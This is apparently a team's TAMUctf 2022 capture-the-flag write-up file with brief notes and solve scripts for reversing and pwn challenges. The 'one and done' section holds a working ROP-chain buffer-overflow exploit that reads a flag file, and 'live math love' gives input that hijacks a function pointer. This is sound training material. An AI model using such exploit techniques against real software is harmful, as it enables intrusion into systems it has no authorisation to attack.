Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F225260
tamuctf22.md
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
15 KB
Subscribers
None
tamuctf22.md
View Options
###
covfefe
decompile
the
class
,
and
print
the
nArray
```
java
import
java
.
util
.*;
import
java
.
util
.
stream
.*;
public
class
Main
{
public
static
void
main
(
String
[]
stringArray
)
{
int
n
;
int
n2
=
35
;
Integer
[]
nArray
=
new
Integer
[
n2
];
for
(
n
=
0
;
n
<
n2
;
++
n
)
{
nArray
[
n
]
=
0
;
}
nArray
[
0
]
=
103
;
nArray
[
1
]
=
nArray
[
0
]
+
2
;
nArray
[
2
]
=
nArray
[
0
];
block16
:
for
(
n
=
3
;
n
<
8
;
++
n
)
{
switch
(
n
)
{
case
3
:
{
nArray
[
n
]
=
101
;
continue
block16
;
}
case
4
:
{
nArray
[
6
]
=
99
;
continue
block16
;
}
case
5
:
{
nArray
[
5
]
=
123
;
continue
block16
;
}
case
6
:
{
nArray
[
n
+
1
]
=
48
;
continue
block16
;
}
case
7
:
{
nArray
[
4
]
=
109
;
}
}
}
nArray
[
8
]
=
102
;
nArray
[
9
]
=
nArray
[
8
];
nArray
[
25
]
=
nArray
[
28
]
=
nArray
[
7
];
nArray
[
24
]
=
nArray
[
28
];
nArray
[
10
]
=
51
;
nArray
[
11
]
=
nArray
[
10
]
+
12
-
4
-
4
-
4
;
nArray
[
22
]
=
nArray
[
27
]
=
nArray
[
0
]
-
(
int
)
Math
.
pow
(
2.0
,
3.0
);
nArray
[
15
]
=
nArray
[
27
];
nArray
[
12
]
=
nArray
[
27
];
nArray
[
13
]
=
49
;
nArray
[
14
]
=
115
;
block17
:
for
(
n
=
16
;
n
<
22
;
++
n
)
{
switch
(
n
)
{
case
16
:
{
nArray
[
n
+
1
]
=
108
;
continue
block17
;
}
case
17
:
{
nArray
[
n
-
1
]
=
52
;
continue
block17
;
}
case
18
:
{
nArray
[
n
+
1
]
=
52
;
continue
block17
;
}
case
19
:
{
nArray
[
n
-
1
]
=
119
;
continue
block17
;
}
case
20
:
{
nArray
[
n
+
1
]
=
115
;
continue
block17
;
}
case
21
:
{
nArray
[
n
-
1
]
=
121
;
}
}
}
nArray
[
23
]
=
103
;
nArray
[
26
]
=
nArray
[
23
]
-
3
;
nArray
[
29
]
=
nArray
[
26
]
+
20
;
nArray
[
30
]
=
nArray
[
29
]
%
53
+
53
;
nArray
[
31
]
=
nArray
[
0
]
-
18
;
nArray
[
32
]
=
80
;
nArray
[
33
]
=
83
;
nArray
[
n2
-
1
]
=
(
int
)
Math
.
pow
(
5.0
,
3.0
);
System
.
out
.
println
(
Arrays
.
asList
(
nArray
).
stream
().
map
(
i
->
String
.
valueOf
((
char
)
i
.
intValue
())).
collect
(
Collectors
.
joining
(
""
)));
}
}
```
###
existing
tooling
breakpoint
before
it
prints
how
long
the
flag
is
,
grab
the
content
from
the
`
obj
`
global
var
with
IDA
###
redo
1
remove
the
0
ints
in
the
`
a
`
array
to
prevent
null
termination
,
convert
it
to
char
*
and
print
```
c
#
include
<
stdio
.
h
>
int
main
(
int
argc
,
char
**
argv
)
{
int
a
[]
=
{
0x65676967
,
0x34427b6d
,
0x5f433153
,
0x616c5f43
,
0x4175476e
,
0x525f4567
,
0x78305f45
,
0x53414c47
,
0x00007d53
};
//remove null term
char
*
flag
=
(
char
*)(&
a
);
printf
(
"%s"
,
flag
)
}
```
###
redo
2
add
`
.
intel_syntax
noprefix
`
to
the
top
of
the
asm
file
,
compile
with
`
gcc
-
m32
-
c
redo2
.
S
-
o
redo2
.
o
`
and
decompile
it
with
IDA
change
all
returns
and
if
statements
to
assignations
,
rearranging
if
necessary
set
up
flag
with
flag
length
as
long
as
the
for
loop
(
or
the
malloc
size
),
and
add
a
print
at
the
end
```
c
#
include
<
stdio
.
h
>
#
include
<
string
.
h
>
#
include
<
stdlib
.
h
>
int
main
(
int
argc
,
const
char
**
argv
,
const
char
**
envp
)
{
char
*
v4
;
// [esp+0h] [ebp-20h]
int
m
;
// [esp+4h] [ebp-1Ch]
int
l
;
// [esp+8h] [ebp-18h]
int
k
;
// [esp+Ch] [ebp-14h]
int
j
;
// [esp+10h] [ebp-10h]
int
i
;
// [esp+14h] [ebp-Ch]
char
*
flag
=
"gigem{aaaaaaaaaaaaaaaaaaaaaa}"
;
for
(
i
=
0
;
i
<=
28
;
++
i
)
{
if
(
!
flag
[
i
]
)
return
-
1
;
}
v4
=
malloc
(
0x1D
u
);
for
(
j
=
0
;
j
<=
28
;
++
j
)
{
v4
[
j
]
=
flag
[
j
];
v4
[
j
]
-=
49
;
}
if
(
*
v4
!=
v4
[
2
]
)
return
1
;
if
(
v4
[
1
]
!=
56
)
return
2
;
if
(
*
v4
!=
54
)
return
3
;
if
(
v4
[
3
]
!=
52
)
return
4
;
if
(
(
char
)
v4
[
28
]
!=
(
char
)
v4
[
5
]
+
2
)
return
5
;
if
(
v4
[
5
]
!=
74
)
return
6
;
if
(
v4
[
4
]
!=
60
)
return
7
;
for
(
k
=
0
;
k
<=
2
;
++
k
)
{
v4
[
k
+
6
]
=
48
;
}
for
(
l
=
0
;
l
<=
3
;
++
l
)
{
v4
[
l
+
10
]
=
49
;
}
for
(
m
=
0
;
m
<=
4
;
++
m
)
{
v4
[
m
+
15
]
=
50
;
}
v4
[
21
]
=
v4
[
15
]
+
1
;
v4
[
9
]
=
46
;
v4
[
14
]
=
v4
[
9
];
v4
[
20
]
=
v4
[
9
];
v4
[
22
]
=
v4
[
9
];
v4
[
27
]
=
1
;
v4
[
26
]
=
2
;
v4
[
23
]
=
3
;
v4
[
24
]
=
4
;
v4
[
25
]
=
0
;
for
(
j
=
0
;
j
<=
28
;
++
j
)
v4
[
j
]
+=
49
;
printf
(
"%s\n"
,
v4
);
}
```
###
one
and
done
buffer
overflow
with
PIE
disabled
but
no
libc
-
search
for
rop
gadgets
in
binary
,
stitch
together
until
syscalls
can
be
made
reuse
gets
and
puts
provided
```
py
from
pwn
import
*
import
time
p
=
remote
(
"tamuctf.com"
,
443
,
ssl
=
True
,
sni
=
"one-and-done"
)
#
elf
=
ELF
(
'
./
one
-
and
-
done
'
)
#
p
=
process
(
'
./
one
-
and
-
done
'
)
#
gets
payload
=
b
'A'
*
0x128
#
padding
until
ret
payload
+=
p64
(
0x0000000000401793
)
#
pop
rdi
payload
+=
p64
(
0x0000000000405310
)
#
_edata
addr
for
temp
storage
since
its
RW
and
not
really
used
payload
+=
p64
(
0x0000000000401795
)
#
gets
#
open
syscall
payload
+=
p64
(
0x0000000000401f31
)
#
pop
rdx
payload
+=
p64
(
0x0000000000000002
)
#
sys_open
payload
+=
p64
(
0x0000000000401793
)
#
pop
rdi
payload
+=
p64
(
0x0000000000405310
)
#
temp
storage
we
wrote
to
payload
+=
p64
(
0x0000000000401713
)
#
pop
rsi
payload
+=
p64
(
0x0000000000000000
)
#
O_RDONLY
payload
+=
p64
(
0x00000000004013ce
)
#
pop
rbx
payload
+=
p64
(
0x0000000000000002
)
#
set
i
=
2
for
inc
to
3
to
pass
`
cmp
i
,
3
`
in
_init_libc
that
we
are
hijacking
payload
+=
p64
(
0x00000000004013ad
)
#
mov
edx
to
eax
and
syscall
(
sys_open
)
payload
+=
b
'A'
*
0x158
#
_init_libc
frame
reset
#
read
syscall
payload
+=
p64
(
0x000000000040100b
)
#
pop
rax
payload
+=
p64
(
0x0000000000000000
)
#
sys_read
payload
+=
p64
(
0x0000000000401f31
)
#
pop
rdx
payload
+=
p64
(
0x0000000000000030
)
#
read
count
payload
+=
p64
(
0x0000000000401793
)
#
pop
rdi
payload
+=
p64
(
0x0000000000000003
)
#
fd
for
flag
payload
+=
p64
(
0x0000000000401713
)
#
pop
rsi
payload
+=
p64
(
0x0000000000405310
)
#
temp
storage
payload
+=
p64
(
0x0000000000401f27
)
#
simple
syscall
payload
+=
b
'A'
*
0x8
#
ret
frame
#
puts
payload
+=
p64
(
0x0000000000401793
)
#
pop
rdi
payload
+=
p64
(
0x0000000000405310
)
#
temp
storage
we
wrote
to
payload
+=
p64
(
0x0000000000401834
)
#
pop
rdi
#
time
.
sleep
(
10
)
#
for
debugger
p
.
sendline
(
payload
)
p
.
interactive
()
```
###
live
math
love
from
(
mostly
)
trial
and
error
+
reading
stack
on
each
function
call
-
the
first
value
is
used
for
both
menu
choosing
and
the
first
value
of
the
arithmetic
-
the
second
value
is
used
for
arithmetic
-
the
third
value
is
used
for
arithmetic
AND
is
stored
at
the
next
function
call
'
s
stack
location
'
s
lower
8
bytes
-
the
fourth
value
is
ignored
-
the
printed
value
is
stored
at
the
next
function
call
'
s
stack
location
'
s
higher
8
bytes
and
it
repeats
as
long
as
we
use
an
invalid
option
in
menu
the
function
call
'
s
stack
location
wont
get
overwriten
so
with
that
we
want
a
float
value
to
match
0x00401163
which
is
5.88371e-39
and
then
make
it
so
that
the
printed
value
is
0
which
multiply
is
the
easiest
to
use
so
we
can
just
input
in
sequence
:
```
c
3
//must use to choose multiply
0
//ensure printed value is * 0 = 0 so no unnecessary writing is made
5.88371e-39
//value we found
0
//same reason as the 0 above
0
//invalid value for triggering function pointer
```
###
labyrinth
co
-
solved
with
[@
Jason
](
https
:
//maplebacon.org/authors/Jason/)
maze
with
function
calls
that
are
gated
by
integer
arithmetic
checks
angr
doesnt
work
directly
prob
coz
of
too
many
branches
,
so
we
want
to
traverse
the
maze
for
angr
first
to
resolve
the
integers
needed
to
pass
the
functions
angr
'
s
cfgfast
to
the
rescue
get
shortest
path
from
main
function
to
the
only
function
that
calls
`
exit
(
0
)
`
not
`
exit
(
1
)
`
(
address
obtained
using
radare
)
tried
to
use
filtering
with
avoid
on
all
node
addresses
that
are
not
in
the
path
obtained
,
failed
realized
the
path
we
got
has
indirect
resolutions
that
are
not
even
reachable
removed
all
nodes
that
are
not
called
`
function_
*
`
or
`
main
`
which
are
the
maze
components
and
got
the
cfg
again
which
has
a
valid
path
now
still
doesnt
work
,
realized
we
hooked
scanf
wrongly
(
scanf
is
hooked
coz
angr
said
its
not
properly
emulated
and
stdin
is
painful
to
use
)
filtering
STILL
doesnt
work
so
we
went
with
directing
angr
using
new
sim
states
on
every
node
and
explore
the
next
addr
instead
tada
solved
```
py
from
pwn
import
*
import
angr
import
claripy
import
r2pipe
import
networkx
io
=
remote
(
"tamuctf.com"
,
443
,
ssl
=
True
,
sni
=
"labyrinth"
)
for
binary
in
range
(
5
):
with
open
(
"elf"
,
"wb"
)
as
file
:
file
.
write
(
bytes
.
fromhex
(
io
.
recvline
().
rstrip
().
decode
()))
exe
=
context
.
binary
=
ELF
(
'
elf
'
)
r
=
r2pipe
.
open
(
exe
.
path
)
r
.
cmd
(
'
aaa
'
)
r
.
cmd
(
'
e
search
.
in
=
bin
.
section
.[
x
]
'
)
target
=
r
.
cmdj
(
'
pdfj
@
'
+
r
.
cmd
(
'
/
a
mov
edi
,
0
;
call
sym
.
imp
.
exit
;
'
).
split
()[
0
])
all_func_offsets
=
[
func
[
'
offset
'
]
for
func
in
r
.
cmdj
(
'
aflj
'
)
if
'
function_
'
in
func
[
'
name
'
]]
p
=
angr
.
Project
(
exe
.
path
,
main_opts
={
'
base_addr
'
:
0
},
load_options
={
'
auto_load_libs
'
:
False
})
cfg
=
p
.
analyses
.
CFGFast
()
complete
=
False
while
not
complete
:
complete
=
True
for
node
in
cfg
.
graph
.
nodes
:
if
node
.
function_address
not
in
all_func_offsets
and
node
.
name
and
'
main
'
not
in
node
.
name
:
cfg
.
graph
.
remove_node
(
node
)
complete
=
False
break
mainNode
=
cfg
.
model
.
get_node
(
exe
.
sym
[
'
main
'
])
targetNode
=
cfg
.
model
.
get_node
(
target
[
'
addr
'
])
path
=
networkx
.
algorithms
.
shortest_path
(
cfg
.
graph
,
source
=
mainNode
,
target
=
targetNode
)
nums
=
[]
class
ReplacementScanf
(
angr
.
SimProcedure
):
def
run
(
self
,
format_string
,
ptr
):
u
=
claripy
.
BVS
(
'
num_
%
d
'
%
len
(
nums
),
4
*
8
)
nums
.
append
(
u
)
self
.
state
.
mem
[
ptr
].
dword
=
u
p
.
hook_symbol
(
'
__isoc99_scanf
'
,
ReplacementScanf
(),
replace
=
True
)
s
=
p
.
factory
.
full_init_state
(
add_options
=
set
.
union
(
angr
.
options
.
unicorn
,
{
angr
.
options
.
LAZY_SOLVES
,
angr
.
options
.
ZERO_FILL_UNCONSTRAINED_MEMORY
,
angr
.
options
.
ZERO_FILL_UNCONSTRAINED_REGISTERS
,
}
)
)
sim
=
p
.
factory
.
simgr
(
s
)
print
(
"PATH: "
+
str
([
node
.
name
for
node
in
path
])
+
" ("
+
str
(
len
(
path
))
+
")"
)
for
node
in
path
:
sim
.
explore
(
find
=
node
.
addr
)
if
sim
.
found
:
print
(
node
.
name
+
" solution found"
)
sim
=
p
.
factory
.
simgr
(
sim
.
found
[
0
])
else
:
print
(
"no solution"
)
solution
=
[
sim
.
active
[
0
].
solver
.
eval
(
num
)
for
num
in
nums
]
print
(
solution
)
io
.
sendline
(
b
""
.
join
([
str
(
num
).
encode
()
+
b
'\n'
for
num
in
solution
]).
hex
().
encode
())
io
.
interactive
()
```
###
unboxing
co
-
solved
with
[@
Jason
](
https
:
//maplebacon.org/authors/Jason/)
shellcode
unravels
next
segment
and
destroys
the
previous
one
before
moving
on
to
the
next
segment
and
repeat
,
along
with
outputting
to
`
output
`
for
byte
checking
checks
64
of
the
bytes
not
set
in
certain
places
on
.
data
doesnt
work
with
angr
-
gets
stuck
at
shell
code
probably
coz
of
the
jmps
and
self
modifying
instructions
eventually
we
realized
:
-
each
segment
is
0x44
bytes
-
first
xor
starting
from
00
E
,
next
one
is
at
052
,
and
so
on
-
rcx
is
probably
a
tracker
of
how
many
bytes
are
remaining
in
the
shellcode
portion
:
starts
at
0x10fe7
,
drops
44
each
unravelling
of
segment
-
each
segment
xors
the
entire
rest
of
the
shellcode
portion
not
just
a
single
segment
-
composes
of
a
constructor
segment
(
xors
everything
after
this
segment
),
a
data
writer
segment
(
does
the
main
things
unrelated
to
shellcode
unravelling
),
a
destructor
segment
(
sets
zero
on
the
segment
above
and
erases
it
)
with
this
data
gathered
,
we
concluded
its
basically
russian
doll
-
first
segment
uncovers
everything
after
it
,
second
segment
uncovers
everything
after
it
,
and
so
on
...
which
means
the
last
segment
to
be
uncovered
is
layered
in
thousands
of
xors
and
we
can
manually
unwrap
the
shellcodes
with
xors
obtained
layer
by
layer
statically
originally
done
with
radare
but
scuffed
coz
its
unstable
,
later
with
plain
offsets
as
follows
-
counter
=
0x10fe7
decrement
by
0x44
each
cycle
,
or
since
we
have
to
unwrap
at
the
top
,
(
start
=
0
)
+
0x44
until
0x11001
-
xor
byte
-
start
+
0xe
+
0x2
-
start
writing
at
-
start
+
0x19
after
quite
a
bit
of
4
am
oversights
and
debugging
we
got
segments
that
follow
the
structure
we
saw
right
up
till
the
end
which
means
we
did
the
xor
correctly
then
we
have
to
remove
the
constructor
and
destructor
since
those
will
overwrite
our
statically
unwrapped
data
and
corrupt
it
after
another
bit
of
5
am
debugging
nop
is
also
done
,
but
we
cant
see
how
it
returns
and
it
doesnt
return
it
just
goes
straight
into
the
next
program
segment
and
segfaults
eventually
we
realized
at
the
very
end
of
data
its
a
C3
which
is
a
retn
instruction
before
xoring
which
means
we
were
xoring
1
too
many
lines
of
code
removing
that
and
finally
we
have
a
working
program
we
can
run
angr
on
run
angr
after
hooking
read
instead
of
using
stdin
,
standard
angr
afterwards
and
we
get
the
solve
script
```
py
from
pwn
import
*
import
angr
import
claripy
import
r2pipe
io
=
remote
(
"tamuctf.com"
,
443
,
ssl
=
True
,
sni
=
"unboxing"
)
for
binary
in
range
(
5
):
with
open
(
"elf"
,
"wb"
)
as
file
:
file
.
write
(
bytes
.
fromhex
(
io
.
recvline
().
rstrip
().
decode
()))
file
.
close
()
exe
=
context
.
binary
=
ELF
(
'
elf
'
)
r
=
r2pipe
.
open
(
exe
.
path
)
r
.
cmd
(
'
aaa
'
)
correct
=
int
(
r
.
cmd
(
'
pdfs
@
main
~
str
.
correct_
:
_
'
).
split
()[
0
],
0
)
wrong
=
int
(
r
.
cmd
(
'
pdfs
@
main
~
str
.
wrong_
:
_
'
).
split
()[
0
],
0
)
mem
=
r
.
cmdj
(
f
'
pxj
0x11001
@
0x4080
'
)
offset
=
0
;
while
offset
+
0x44
<
0x11001
:
start
=
offset
+
0x19
xor
=
mem
[
offset
+
0x10
]
#
print
(
f
"XOR to {hex(start)}"
)
mem
[
start
:-
1
]
=
[
byte
^
xor
for
byte
in
mem
[
start
:-
1
]]
offset
+=
0x44
print
(
hex
(
len
(
mem
)))
offset
=
0
;
while
offset
+
0x44
<
0x11001
:
#
print
(
f
"NOP to {hex(offset)}"
)
mem
[
offset
+
0x00
:
offset
+
0x19
]
=
[
0x90
]
*
0x19
mem
[
offset
+
0x2b
:
offset
+
0x44
]
=
[
0x90
]
*
0x19
offset
+=
0x44
print
(
hex
(
len
(
mem
)))
with
open
(
exe
.
path
,
'
r
+
b
'
)
as
file
:
file
.
seek
(
int
(
r
.
cmd
(
'
?
p
@
obj
.
check
'
),
0
))
file
.
write
(
bytes
(
mem
))
info
(
"CORRECT = "
+
hex
(
correct
))
info
(
"WRONG = "
+
hex
(
wrong
))
p
=
angr
.
Project
(
exe
.
path
,
main_opts
={
'
base_addr
'
:
0
})
password_chars
=
[
claripy
.
BVS
(
"byte_%d"
%
i
,
8
)
for
i
in
range
(
0x40
)]
password
=
claripy
.
Concat
(*
password_chars
)
class
ReplacementRead
(
angr
.
SimProcedure
):
def
run
(
self
,
fd
,
ptr
,
length
):
self
.
state
.
memory
.
store
(
ptr
,
password
)
p
.
hook_symbol
(
'
read
'
,
ReplacementRead
(),
replace
=
True
)
s
=
p
.
factory
.
full_init_state
(
add_options
={
angr
.
options
.
LAZY_SOLVES
,
angr
.
options
.
ZERO_FILL_UNCONSTRAINED_MEMORY
,
angr
.
options
.
ZERO_FILL_UNCONSTRAINED_REGISTERS
,
}
)
sim
=
p
.
factory
.
simgr
(
s
)
sim
.
explore
(
find
=
correct
,
avoid
=
wrong
)
if
sim
.
found
:
print
(
"solution found"
)
solution
=
sim
.
found
[
0
].
solver
.
eval
(
password
,
cast_to
=
bytes
)
else
:
print
(
"no solution"
)
io
.
sendline
(
solution
.
hex
().
encode
())
io
.
interactive
()
```
File Metadata
Details
Attached
Mime Type
text/x-python
Expires
Sat, Mar 15, 4:31 AM (12 h, 46 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
bb/5d/bee8a2663d27336c78f5febcc5df
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment